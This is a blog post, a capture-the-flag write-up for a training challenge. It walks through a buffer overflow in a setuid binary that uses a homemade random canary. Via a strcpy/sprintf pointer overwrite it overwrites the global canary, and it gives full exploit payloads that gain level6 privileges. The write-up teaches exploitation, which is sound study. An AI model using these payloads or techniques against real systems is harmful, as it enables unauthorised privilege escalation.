craftwa.re

A walk outside the sandbox

Home Blog Cheat Sheets MacOS Tips Area 51 About

[CTF] Binary Master Ensign - 5

|

Logo

In this post we’ll continue with level5, the last one from Certified Secure Binary Mastery, Ensign. This time we will be dealing again with more buffer overflow issues but we’ll have to defeat a homemade implementation of buffer overflow detection. This is the most interesting level so far and it hides yet another logical vulnerability that will allow us to defeat the random stack canary.

To review the previous levels, check the links below:

0 - Discovery

Let’s connect to the server and check the binary we’re dealing with:

$ ssh level5@hacking.certifiedsecure.com -p 8266
level4@hacking.certifiedsecure.com's password: 
Welcome to Ubuntu 14.04.5 LTS (GNU/Linux 3.13.0-119-generic x86_64)

 * Documentation:  https://help.ubuntu.com/

New release '16.04.2 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

   ___  _                      __  ___         __              
  / _ )(_)__  ___ _______ __  /  |/  /__ ____ / /____ ______ __
 / _  / / _ \/ _ `/ __/ // / / /|_/ / _ `(_-</ __/ -_) __/ // /
/____/_/_//_/\_,_/_/  \_, / /_/  /_/\_,_/___/\__/\__/_/  \_, / 
                     /___/                 _            /___/  
                             ___ ___  ___ (_)__ ____ 
                            / -_) _ \(_-</ / _ `/ _ \
                            \__/_//_/___/_/\_, /_//_/
                                          /___/      

Let’s see if we have any mitigation techniques using checksec.sh, downloaded and run locally:

$ checksec.sh --file level5
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   No canary found   NX disabled   No PIE          No RPATH   No RUNPATH   level5

NX is disabled and again there is no stack canary. Why enable the stack cookie when we can do it ourselves, right?. Let’s verify whether the stack is executable:

$ readelf -lW level5 | grep GNU_STACK
  GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x10

The RWE flag suggests Read-Write-Execute flags are all enabled. Also remember from the previous levels that ASLR is disabled on the system and all the addresses are static.

1 - Vulnerability

#include <string.h>
#include <stdio.h>
#include <stdlib.h>

int canary;

void __attribute__ ((constructor)) generate_canary() {
        FILE* fp = fopen("/dev/urandom", "r");
        fread(&canary, 4, 1, fp);                                [1]      
}

void hello(char* name) {
        int cookie = canary;
        int i = 0x12345;
        char* msg = malloc(128);
        char buf[12];

        strcpy(buf, name);                                       [4]
        sprintf(msg, "%s, it's good to see you!\n", buf);        [5]

        printf("%s", msg);

        if (cookie != canary) {                                  [3]        
                printf("*** stack smashing detected ***\n");

                abort();
        }
}

int main(int argc, char** argv) {
        if (argc != 2) {
                printf("Usage: %s <name>\n", argv[0]);

                return -1;
        }

        hello(argv[1]);                                          [2]

        return 0;
}

First let us understand how the program works:

  • We have one constructor that generates a random 4 bytes canary by reading /dev/urandom ([1])
  • The Main function accepts one input parameter which is passed to the hello function ([2]).
  • The hello function assigns the value of the canary to the first variable on the stack - cookie.
  • In case any buffer overflow would try to overwrite the return address, it would have to overwrite also the cookie. But this would trigger a program termination with an error ([3]). Not good.

Now let’s see how we can break it. Again a stack layout of the function is very useful. We need to understand where each variable is located and which ones we can overwrite. Below I’ve renamed the variables in IDA to reflect the source code from level5.c:

Stack layout

  • The strcpy call at [4] can overwrite the address of the newly allocated memory block in msg, which is located immediately after the buffer.
  • The sprintf call at [5] will write from buf to the address we’ve just overwritten by the call before.
  • Basically we have a primitive that allows us to overwrite an arbitrary memory address.

2 - Exploit

Overwriting the canary

Because the canary is stored in a global variable, in a writeable section (check the permissions of .bss section with readelf -S level5), we can overwrite it:

lobal variable

Then we’ll supply our overwritten canary value in the buffer and carry on the exploitation as usual. Based on the observation above, a simple payload that just overwrites the canary with 0x01020304 would look like this:

| "\x04\x03\x02\x01" | JUNK (8 bytes) | "\x40\xa0\x04\x08" |

Explanation:

  • At offset 12 in the payload we place the address that will overwrite (at [4]) the pointer generated by malloc
  • First 4 bytes of the payload will be written to that address at [5]

We can test this in GDB and make sure we got this first step right:

gdb-peda$ run  $(python -c 'print "\x04\x03\x02\x01" + "A"*8 + "\x40\xa0\x04\x08"')

Overwriting the return address

Building on the findings from the previous point, the next payload achieves full control of EIP, without triggering the error message:

  • Overwrites the canary, as above
  • Sends a buffer with the correct overwritten canary value, which will overwrite the cookie variable
  • Overwrites the return address from hello function with “XXXX”
| "\x04\x03\x02\x01" | JUNK (8 bytes) | "\x40\xa0\x04\x08" | JUNK (4 bytes) | "\x04\x03\x02\x01" | JUNK (12 bytes) | RET | 

If it’s not clear why, check again the stack layout from the image above. Basically the 4 bytes of junk represents the i variable, next we have the value that will overwrite cookie (has to be the same as the canary), 12 more junk bytes then the value for the return address.

Again, test this first in GDB:

gdb-peda$ run  $(python -c 'print "\x04\x03\x02\x01" + "A"*8 + "\x40\xa0\x04\x08" + "JUNK" + "\x01\x02\x03\x04" + 12*"A" + "XXXX"')

Shellcode

In this case we can use the same approach as for levels 1-3 and place a shellcode spawning /bin/dash into an environment variable. Check level1 for more details.

3 - Profit

$ /levels/level5  $(python -c 'print "\x04\x03\x02\x01" + "A"*8 + "\x40\xa0\x04\x08" + "JUNK" +  "\x04\x03\x02\x01" + 12*"A" + "\xd6\xd8\xff\xff"')
AAAAAAAA@JUNKAAAAAAAAAAAA���, it's good to see you!
$ id
uid=1006(level5) gid=1006(level5) euid=1007(level6) groups=1007(level6),1006(level5)
$ /home/level6/victory
   ___  _                      __  ___         __              
  / _ )(_)__  ___ _______ __  /  |/  /__ ____ / /____ ______ __
 / _  / / _ \/ _ `/ __/ // / / /|_/ / _ `(_-</ __/ -_) __/ // /
/____/_/_//_/\_,_/_/  \_, / /_/  /_/\_,_/___/\__/\__/_/  \_, / 
                     /___/                 _            /___/  
                             ___ ___  ___ (_)__ ____ 
                            / -_) _ \(_-</ / _ `/ _ \
                            \__/_//_/___/_/\_, /_//_/
                                          /___/      

Subject: Victory!

Congrats, you have solved the last level!. To update your score,
send an e-mail to unlock@certifiedsecure.com and include:
   * your CS-ID
   * which level you solved (level5 @ binary mastery ensign)
   * the exploit

This was the last level in this challenge set. Next set of levels, Binary Mastery: Lieutenant will be even more fun :) as they include modern day vulnerabilities and mitigation techniques. In the next part we’ll look at bypassing the NX bit using return to libc technique.